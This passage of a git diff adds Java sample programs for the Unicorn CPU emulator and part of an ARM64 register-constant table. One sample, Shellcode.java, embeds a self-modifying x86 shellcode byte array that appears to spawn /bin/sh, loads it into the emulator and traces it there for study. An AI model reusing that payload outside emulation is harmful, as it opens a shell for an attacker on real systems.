(Long)u.reg_read(Unicorn.UC_X86_REG_AL); + break; + case 2: + tmp = (Long)u.reg_read(Unicorn.UC_X86_REG_AX); + break; + case 4: + tmp = (Long)u.reg_read(Unicorn.UC_X86_REG_EAX); + break; + } + + System.out.printf("--- register value = 0x%x\n", tmp.intValue()); + } + } + + static void test_i386() { + Long r_ecx = new Long(0x1234); // ECX register + Long r_edx = new Long(0x7890); // EDX register + + System.out.print("Emulate i386 code\n"); + + // Initialize emulator in X86-32bit mode + Unicorn uc; + try { + uc = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + } catch (UnicornException uex) { + System.out.println("Failed on uc_open() with error returned: " + uex); + return; + } + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + try { + uc.mem_write(ADDRESS, X86_CODE32); + } catch (UnicornException uex) { + System.out.println("Failed to write emulation code to memory, quit!\n"); + return; + } + + // initialize machine registers + uc.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); + uc.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); + + // tracing all basic blocks with customized callback + uc.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing all instruction by having @begin > @end + uc.hook_add(new MyCodeHook(), 1, 0, null); + + // emulate machine code in infinite time + try { + uc.emu_start(ADDRESS, ADDRESS + X86_CODE32.length, 0, 0); + } catch (UnicornException uex) { + System.out.printf("Failed on uc_emu_start() with error : %s\n", + uex.getMessage()); + } + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r_ecx = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX); + r_edx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EDX); + System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); + System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); + + // read from memory + try { + byte[] tmp = uc.mem_read(ADDRESS, 4); + System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", ADDRESS, toInt(tmp)); + } catch (UnicornException ex) { + System.out.printf(">>> Failed to read 4 bytes from [0x%x]\n", ADDRESS); + } + uc.close(); + } + + static void test_i386_inout() + { + Long r_eax = new Long(0x1234); // ECX register + Long r_ecx = new Long(0x6789); // EDX register + + System.out.print("===================================\n"); + System.out.print("Emulate i386 code with IN/OUT instructions\n"); + + // Initialize emulator in X86-32bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_INOUT); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_EAX, r_eax); + u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing all instructions + u.hook_add(new MyCodeHook(), 1, 0, null); + + // handle IN instruction + u.hook_add(new MyInHook(), null); + // handle OUT instruction + u.hook_add(new MyOutHook(), null); + + // emulate machine code in infinite time + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_INOUT.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r_eax = (Long)u.reg_read(Unicorn.UC_X86_REG_EAX); + r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); + System.out.printf(">>> EAX = 0x%x\n", r_eax.intValue()); + System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); + + u.close(); + } + + static void test_i386_jump() + { + System.out.print("===================================\n"); + System.out.print("Emulate i386 code with jump\n"); + + // Initialize emulator in X86-32bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_JUMP); + + // tracing 1 basic block with customized callback + u.hook_add(new MyBlockHook(), ADDRESS, ADDRESS, null); + + // tracing 1 instruction at ADDRESS + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_JUMP.length, 0, 0); + + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + u.close(); + } + + // emulate code that loop forever + static void test_i386_loop() + { + Long r_ecx = new Long(0x1234); // ECX register + Long r_edx = new Long(0x7890); // EDX register + + System.out.print("===================================\n"); + System.out.print("Emulate i386 code that loop forever\n"); + + // Initialize emulator in X86-32bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_LOOP); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); + u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); + + // emulate machine code in 2 seconds, so we can quit even + // if the code loops + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_LOOP.length, 2 * Unicorn.UC_SECOND_SCALE, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); + r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX); + System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); + System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); + + u.close(); + } + + // emulate code that read invalid memory + static void test_i386_invalid_mem_read() + { + Long r_ecx = new Long(0x1234); // ECX register + Long r_edx = new Long(0x7890); // EDX register + + System.out.print("===================================\n"); + System.out.print("Emulate i386 code that read from invalid memory\n"); + + // Initialize emulator in X86-32bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_MEM_READ); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); + u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing all instruction by having @begin > @end + u.hook_add(new MyCodeHook(), 1, 0, null); + + // emulate machine code in infinite time + try { + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_READ.length, 0, 0); + } catch (UnicornException uex) { + int err = u.errno(); + System.out.printf("Failed on u.emu_start() with error returned: %s\n", uex.getMessage()); + } + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); + r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX); + System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); + System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); + + u.close(); + } + + // emulate code that read invalid memory + static void test_i386_invalid_mem_write() + { + Long r_ecx = new Long(0x1234); // ECX register + Long r_edx = new Long(0x7890); // EDX register + + System.out.print("===================================\n"); + System.out.print("Emulate i386 code that write to invalid memory\n"); + + // Initialize emulator in X86-32bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_MEM_WRITE); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); + u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing all instruction by having @begin > @end + u.hook_add(new MyCodeHook(), 1, 0, null); + + // intercept invalid memory events + u.hook_add(new MyWriteInvalidHook(), Unicorn.UC_HOOK_MEM_WRITE_UNMAPPED, null); + + // emulate machine code in infinite time + try { + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_WRITE.length, 0, 0); + } catch (UnicornException uex) { + System.out.printf("Failed on uc_emu_start() with error returned: %s\n", uex.getMessage()); + } + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); + r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX); + System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); + System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); + + // read from memory + byte tmp[] = u.mem_read(0xaaaaaaaa, 4); + System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xaaaaaaaa, toInt(tmp)); + + try { + u.mem_read(0xffffffaa, 4); + System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xffffffaa, toInt(tmp)); + } catch (UnicornException uex) { + System.out.printf(">>> Failed to read 4 bytes from [0x%x]\n", 0xffffffaa); + } + + u.close(); + } + + // emulate code that jump to invalid memory + static void test_i386_jump_invalid() + { + Long r_ecx = new Long(0x1234); // ECX register + Long r_edx = new Long(0x7890); // EDX register + + System.out.print("===================================\n"); + System.out.print("Emulate i386 code that jumps to invalid memory\n"); + + // Initialize emulator in X86-32bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_JMP_INVALID); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); + u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing all instructions by having @begin > @end + u.hook_add(new MyCodeHook(), 1, 0, null); + + // emulate machine code in infinite time + try { + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_JMP_INVALID.length, 0, 0); + } catch (UnicornException uex) { + System.out.printf("Failed on uc_emu_start() with error returned: %s\n", uex.getMessage()); + } + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); + r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX); + System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); + System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); + + u.close(); + } + + static void test_x86_64() + { + long rax = 0x71f3029efd49d41dL; + long rbx = 0xd87b45277f133ddbL; + long rcx = 0xab40d1ffd8afc461L; + long rdx = 0x919317b4a733f01L; + long rsi = 0x4c24e753a17ea358L; + long rdi = 0xe509a57d2571ce96L; + long r8 = 0xea5b108cc2b9ab1fL; + long r9 = 0x19ec097c8eb618c1L; + long r10 = 0xec45774f00c5f682L; + long r11 = 0xe17e9dbec8c074aaL; + long r12 = 0x80f86a8dc0f6d457L; + long r13 = 0x48288ca5671c5492L; + long r14 = 0x595f72f6e4017f6eL; + long r15 = 0x1efd97aea331ccccL; + + long rsp = ADDRESS + 0x200000; + + System.out.print("Emulate x86_64 code\n"); + + // Initialize emulator in X86-64bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_64); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE64); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_RSP, new Long(rsp)); + + u.reg_write(Unicorn.UC_X86_REG_RAX, new Long(rax)); + u.reg_write(Unicorn.UC_X86_REG_RBX, new Long(rbx)); + u.reg_write(Unicorn.UC_X86_REG_RCX, new Long(rcx)); + u.reg_write(Unicorn.UC_X86_REG_RDX, new Long(rdx)); + u.reg_write(Unicorn.UC_X86_REG_RSI, new Long(rsi)); + u.reg_write(Unicorn.UC_X86_REG_RDI, new Long(rdi)); + u.reg_write(Unicorn.UC_X86_REG_R8, new Long(r8)); + u.reg_write(Unicorn.UC_X86_REG_R9, new Long(r9)); + u.reg_write(Unicorn.UC_X86_REG_R10, new Long(r10)); + u.reg_write(Unicorn.UC_X86_REG_R11, new Long(r11)); + u.reg_write(Unicorn.UC_X86_REG_R12, new Long(r12)); + u.reg_write(Unicorn.UC_X86_REG_R13, new Long(r13)); + u.reg_write(Unicorn.UC_X86_REG_R14, new Long(r14)); + u.reg_write(Unicorn.UC_X86_REG_R15, new Long(r15)); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing all instructions in the range [ADDRESS, ADDRESS+20] + u.hook_add(new MyCode64Hook(), ADDRESS, ADDRESS+20, null); + + // tracing all memory WRITE access (with @begin > @end) + u.hook_add(new MyWrite64Hook(), 1, 0, null); + + // tracing all memory READ access (with @begin > @end) + u.hook_add(new MyRead64Hook(), 1, 0, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + X86_CODE64.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + Long r_rax = (Long)u.reg_read(Unicorn.UC_X86_REG_RAX); + Long r_rbx = (Long)u.reg_read(Unicorn.UC_X86_REG_RBX); + Long r_rcx = (Long)u.reg_read(Unicorn.UC_X86_REG_RCX); + Long r_rdx = (Long)u.reg_read(Unicorn.UC_X86_REG_RDX); + Long r_rsi = (Long)u.reg_read(Unicorn.UC_X86_REG_RSI); + Long r_rdi = (Long)u.reg_read(Unicorn.UC_X86_REG_RDI); + Long r_r8 = (Long)u.reg_read(Unicorn.UC_X86_REG_R8); + Long r_r9 = (Long)u.reg_read(Unicorn.UC_X86_REG_R9); + Long r_r10 = (Long)u.reg_read(Unicorn.UC_X86_REG_R10); + Long r_r11 = (Long)u.reg_read(Unicorn.UC_X86_REG_R11); + Long r_r12 = (Long)u.reg_read(Unicorn.UC_X86_REG_R12); + Long r_r13 = (Long)u.reg_read(Unicorn.UC_X86_REG_R13); + Long r_r14 = (Long)u.reg_read(Unicorn.UC_X86_REG_R14); + Long r_r15 = (Long)u.reg_read(Unicorn.UC_X86_REG_R15); + + System.out.printf(">>> RAX = 0x%x\n", r_rax.longValue()); + System.out.printf(">>> RBX = 0x%x\n", r_rbx.longValue()); + System.out.printf(">>> RCX = 0x%x\n", r_rcx.longValue()); + System.out.printf(">>> RDX = 0x%x\n", r_rdx.longValue()); + System.out.printf(">>> RSI = 0x%x\n", r_rsi.longValue()); + System.out.printf(">>> RDI = 0x%x\n", r_rdi.longValue()); + System.out.printf(">>> R8 = 0x%x\n", r_r8.longValue()); + System.out.printf(">>> R9 = 0x%x\n", r_r9.longValue()); + System.out.printf(">>> R10 = 0x%x\n", r_r10.longValue()); + System.out.printf(">>> R11 = 0x%x\n", r_r11.longValue()); + System.out.printf(">>> R12 = 0x%x\n", r_r12.longValue()); + System.out.printf(">>> R13 = 0x%x\n", r_r13.longValue()); + System.out.printf(">>> R14 = 0x%x\n", r_r14.longValue()); + System.out.printf(">>> R15 = 0x%x\n", r_r15.longValue()); + + u.close(); + } + + static void test_x86_16() + { + Long eax = new Long(7); + Long ebx = new Long(5); + Long esi = new Long(6); + + System.out.print("Emulate x86 16-bit code\n"); + + // Initialize emulator in X86-16bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_16); + + // map 8KB memory for this emulation + u.mem_map(0, 8 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(0, X86_CODE16); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_EAX, eax); + u.reg_write(Unicorn.UC_X86_REG_EBX, ebx); + u.reg_write(Unicorn.UC_X86_REG_ESI, esi); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(0, X86_CODE16.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + // read from memory + byte[] tmp = u.mem_read(11, 1); + System.out.printf(">>> Read 1 bytes from [0x%x] = 0x%x\n", 11, toInt(tmp)); + + u.close(); + } + + public static void main(String args[]) + { + if (args.length == 1) { + if (args[0].equals("-32")) { + test_i386(); + test_i386_inout(); + test_i386_jump(); + test_i386_loop(); + test_i386_invalid_mem_read(); + test_i386_invalid_mem_write(); + test_i386_jump_invalid(); + } + + if (args[0].equals("-64")) { + test_x86_64(); + } + + if (args[0].equals("-16")) { + test_x86_16(); + } + + // test memleak + if (args[0].equals("-0")) { + while(true) { + test_i386(); + // test_x86_64(); + } + } + } else { + System.out.print("Syntax: java Sample_x86 <-16|-32|-64>\n"); + } + + } + +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_x86_mmr.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_x86_mmr.java new file mode 100644 index 0000000..e2b1a6d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_x86_mmr.java @@ -0,0 +1,77 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2016 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Sample code to demonstrate how to register read/write API */ + +import unicorn.*; + +public class Sample_x86_mmr { + + static void test_x86_mmr() { + // Initialize emulator in X86-32bit mode + Unicorn uc; + try { + uc = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + } catch (UnicornException uex) { + System.out.println("Failed on uc_open() with error returned: " + uex); + return; + } + + // map 4k + uc.mem_map(0x400000, 0x1000, Unicorn.UC_PROT_ALL); + + X86_MMR ldtr1 = new X86_MMR(0x1111111122222222L, 0x33333333, 0x44444444, (short)0x5555); + X86_MMR ldtr2; + X86_MMR gdtr1 = new X86_MMR(0x6666666677777777L, 0x88888888, 0x99999999, (short)0xaaaa); + X86_MMR gdtr2, gdtr3, gdtr4; + + int eax; + + // initialize machine registers + + uc.reg_write(Unicorn.UC_X86_REG_LDTR, ldtr1); + uc.reg_write(Unicorn.UC_X86_REG_GDTR, gdtr1); + uc.reg_write(Unicorn.UC_X86_REG_EAX, new Long(0xdddddddd)); + + // read the registers back out + eax = (int)((Long)uc.reg_read(Unicorn.UC_X86_REG_EAX)).longValue(); + ldtr2 = (X86_MMR)uc.reg_read(Unicorn.UC_X86_REG_LDTR); + gdtr2 = (X86_MMR)uc.reg_read(Unicorn.UC_X86_REG_GDTR); + + System.out.printf(">>> EAX = 0x%x\n", eax); + + System.out.printf(">>> LDTR.base = 0x%x\n", ldtr2.base); + System.out.printf(">>> LDTR.limit = 0x%x\n", ldtr2.limit); + System.out.printf(">>> LDTR.flags = 0x%x\n", ldtr2.flags); + System.out.printf(">>> LDTR.selector = 0x%x\n\n", ldtr2.selector); + + System.out.printf(">>> GDTR.base = 0x%x\n", gdtr2.base); + System.out.printf(">>> GDTR.limit = 0x%x\n", gdtr2.limit); + + uc.close(); + } + + public static void main(String args[]) + { + test_x86_mmr(); + } + +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Shellcode.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Shellcode.java new file mode 100644 index 0000000..48674a4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Shellcode.java @@ -0,0 +1,161 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh & Dang Hoang Vu, 2015 */ + +/* Sample code to trace code with Linux code with syscall */ + +import unicorn.*; +import java.math.*; + +public class Shellcode { + + public static final byte[] X86_CODE32 = {-21,25,49,-64,49,-37,49,-46,49,-55,-80,4,-77,1,89,-78,5,-51,-128,49,-64,-80,1,49,-37,-51,-128,-24,-30,-1,-1,-1,104,101,108,108,111}; + public static final byte[] X86_CODE32_SELF = {-21,28,90,-119,-42,-117,2,102,61,-54,125,117,6,102,5,3,3,-119,2,-2,-62,61,65,65,65,65,117,-23,-1,-26,-24,-33,-1,-1,-1,49,-46,106,11,88,-103,82,104,47,47,115,104,104,47,98,105,110,-119,-29,82,83,-119,-31,-54,125,65,65,65,65,65,65,65,65}; + + // memory address where emulation starts + public static final int ADDRESS = 0x1000000; + + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } + + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte)(val & 0xff); + val >>>= 8; + } + return res; + } + + public static class MyCodeHook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user) { + + System.out.print(String.format("Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); + + Long r_eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP); + System.out.print(String.format("*** EIP = %x ***: ", r_eip.intValue())); + + size = Math.min(16, size); + + byte[] tmp = u.mem_read(address, size); + for (int i = 0; i < tmp.length; i++) { + System.out.print(String.format("%x ", 0xff & tmp[i])); + } + System.out.print("\n"); + } + }; + + public static class MyInterruptHook implements InterruptHook { + public void hook(Unicorn u, int intno, Object user) { + Long r_ecx; + Long r_edx; + int size; + + // only handle Linux syscall + if (intno != 0x80) { + return; + } + + Long r_eax = (Long)u.reg_read(Unicorn.UC_X86_REG_EAX); + Long r_eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP); + + switch (r_eax.intValue()) { + default: + System.out.print(String.format(">>> 0x%x: interrupt 0x%x, EAX = 0x%x\n", r_eip.intValue(), intno, r_eax.intValue())); + break; + case 1: // sys_exit + System.out.print(String.format(">>> 0x%x: interrupt 0x%x, SYS_EXIT. quit!\n\n", r_eip.intValue(), intno)); + u.emu_stop(); + break; + case 4: // sys_write + // ECX = buffer address + r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); + + // EDX = buffer size + r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX); + + // read the buffer in + size = (int)Math.min(256, r_edx); + + byte[] buffer = u.mem_read(r_ecx, size); + System.out.print(String.format(">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = '%s'\n", + r_eip.intValue(), intno, r_ecx.intValue(), r_edx.intValue(), new String(buffer))); + break; + } + } + } + + static void test_i386() + { + Long r_esp = new Long(ADDRESS + 0x200000); // ESP register + + System.out.print("Emulate i386 code\n"); + + // Initialize emulator in X86-32bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_SELF); + + // initialize machine registers + u.reg_write(Unicorn.UC_X86_REG_ESP, r_esp); + + // tracing all instructions by having @begin > @end + u.hook_add(new MyCodeHook(), 1, 0, null); + + // handle interrupt ourself + u.hook_add(new MyInterruptHook(), null); + + System.out.print("\n>>> Start tracing this Linux code\n"); + + // emulate machine code in infinite time + // u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 12); <--- emulate only 12 instructions + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 0); + + System.out.print("\n>>> Emulation done.\n"); + + u.close(); + } + + public static void main(String args[]) + { + if (args.length == 1) { + if ("-32".equals(args[0])) { + test_i386(); + } + } else { + System.out.print("Syntax: java Shellcode <-32|-64>\n"); + } + + } + +} \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/Arm64Const.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/Arm64Const.java new file mode 100644 index 0000000..dc70de8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/Arm64Const.java @@ -0,0 +1,317 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface Arm64Const { + +// ARM64 registers + + public static final int UC_ARM64_REG_INVALID = 0; + public static final int UC_ARM64_REG_X29 = 1; + public static final int UC_ARM64_REG_X30 = 2; + public static final int UC_ARM64_REG_NZCV = 3; + public static final int UC_ARM64_REG_SP = 4; + public static final int UC_ARM64_REG_WSP = 5; + public static final int UC_ARM64_REG_WZR = 6; + public static final int UC_ARM64_REG_XZR = 7; + public static final int UC_ARM64_REG_B0 = 8; + public static final int UC_ARM64_REG_B1 = 9; + public static final int UC_ARM64_REG_B2 = 10; + public static final int UC_ARM64_REG_B3 = 11; + public static final int UC_ARM64_REG_B4 = 12; + public static final int UC_ARM64_REG_B5 = 13; + public static final int UC_ARM64_REG_B6 = 14; + public static final int UC_ARM64_REG_B7 = 15; + public static final int UC_ARM64_REG_B8 = 16; + public static final int UC_ARM64_REG_B9 = 17; + public static final int UC_ARM64_REG_B10 = 18; + public static final int UC_ARM64_REG_B11 = 19; + public static final int UC_ARM64_REG_B12 = 20; + public static final int UC_ARM64_REG_B13 = 21; + public static final int UC_ARM64_REG_B14 = 22; + public static final int UC_ARM64_REG_B15 = 23; + public static final int UC_ARM64_REG_B16 = 24; + public static final int UC_ARM64_REG_B17 = 25; + public static final int UC_ARM64_REG_B18 = 26; + public static final int UC_ARM64_REG_B19 = 27; + public static final int UC_ARM64_REG_B20 = 28; + public static final int UC_ARM64_REG_B21 = 29; + public static final int UC_ARM64_REG_B22 = 30; + public static final int UC_ARM64_REG_B23 = 31; + public static final int UC_ARM64_REG_B24 = 32; + public static final int UC_ARM64_REG_B25 = 33; + public static final int UC_ARM64_REG_B26 = 34; + public static final int UC_ARM64_REG_B27 = 35; + public static final int UC_ARM64_REG_B28 = 36; + public static final int UC_ARM64_REG_B29 = 37; + public static final int UC_ARM64_REG_B30 = 38; + public static final int UC_ARM64_REG_B31 = 39; + public static final int UC_ARM64_REG_D0 = 40; + public static final int UC_ARM64_REG_D1 = 41; + public static final int UC_ARM64_REG_D2 = 42; + public static final int UC_ARM64_REG_D3 = 43; + public static final int UC_ARM64_REG_D4 = 44; + public static final int UC_ARM64_REG_D5 = 45; + public static final int UC_ARM64_REG_D6 = 46; + public static final int UC_ARM64_REG_D7 = 47; + public static final int UC_ARM64_REG_D8 = 48; + public static final int UC_ARM64_REG_D9 = 49; + public static final int UC_ARM64_REG_D10 = 50; + public static final int UC_ARM64_REG_D11 = 51; + public static final int UC_ARM64_REG_D12 = 52; + public static final int UC_ARM64_REG_D13 = 53; + public static final int UC_ARM64_REG_D14 = 54; + public static final int UC_ARM64_REG_D15 = 55; + public static final int UC_ARM64_REG_D16 = 56; + public static final int UC_ARM64_REG_D17 = 57; + public static final int UC_ARM64_REG_D18 = 58; + public static final int UC_ARM64_REG_D19 = 59; + public static final int UC_ARM64_REG_D20 = 60; + public static final int UC_ARM64_REG_D21 = 61; + public static final int UC_ARM64_REG_D22 = 62; + public static final int UC_ARM64_REG_D23 = 63; + public static final int UC_ARM64_REG_D24 = 64; + public static final int UC_ARM64_REG_D25 = 65; + public static final int UC_ARM64_REG_D26 = 66; + public static final int UC_ARM64_REG_D27 = 67; + public static final int UC_ARM64_REG_D28 = 68; + public static final int UC_ARM64_REG_D29 = 69; + public static final int UC_ARM64_REG_D30 = 70; + public static final int UC_ARM64_REG_D31 = 71; + public static final int UC_ARM64_REG_H0 = 72; + public static final int UC_ARM64_REG_H1 = 73; + public static final int UC_ARM64_REG_H2 = 74; + public static final int UC_ARM64_REG_H3 = 75; + public static final int UC_ARM64_REG_H4 = 76; + public static final int UC_ARM64_REG_H5 = 77; + public static final int UC_ARM64_REG_H6 = 78; + public static final int UC_ARM64_REG_H7 = 79; + public static final int UC_ARM64_REG_H8 = 80; + public static final int UC_ARM64_REG_H9 = 81; + public static final int UC_ARM64_REG_H10 = 82; + public static final int UC_ARM64_REG_H11 = 83; + public static final int UC_ARM64_REG_H12 = 84; + public static final int UC_ARM64_REG_H13 = 85; + public static final int UC_ARM64_REG_H14 = 86; + public static final int UC_ARM64_REG_H15 = 87; + public static final int UC_ARM64_REG_H16 = 88; + public static final int UC_ARM64_REG_H17 = 89; + public static final int UC_ARM64_REG_H18 = 90; + public static final int UC_ARM64_REG_H19 = 91; + public static final int UC_ARM64_REG_H20 = 92; + public static final int UC_ARM64_REG_H21 = 93; + public static final int UC_ARM64_REG_H22 = 94; + public static final int UC_ARM64_REG_H23 = 95; + public static final int 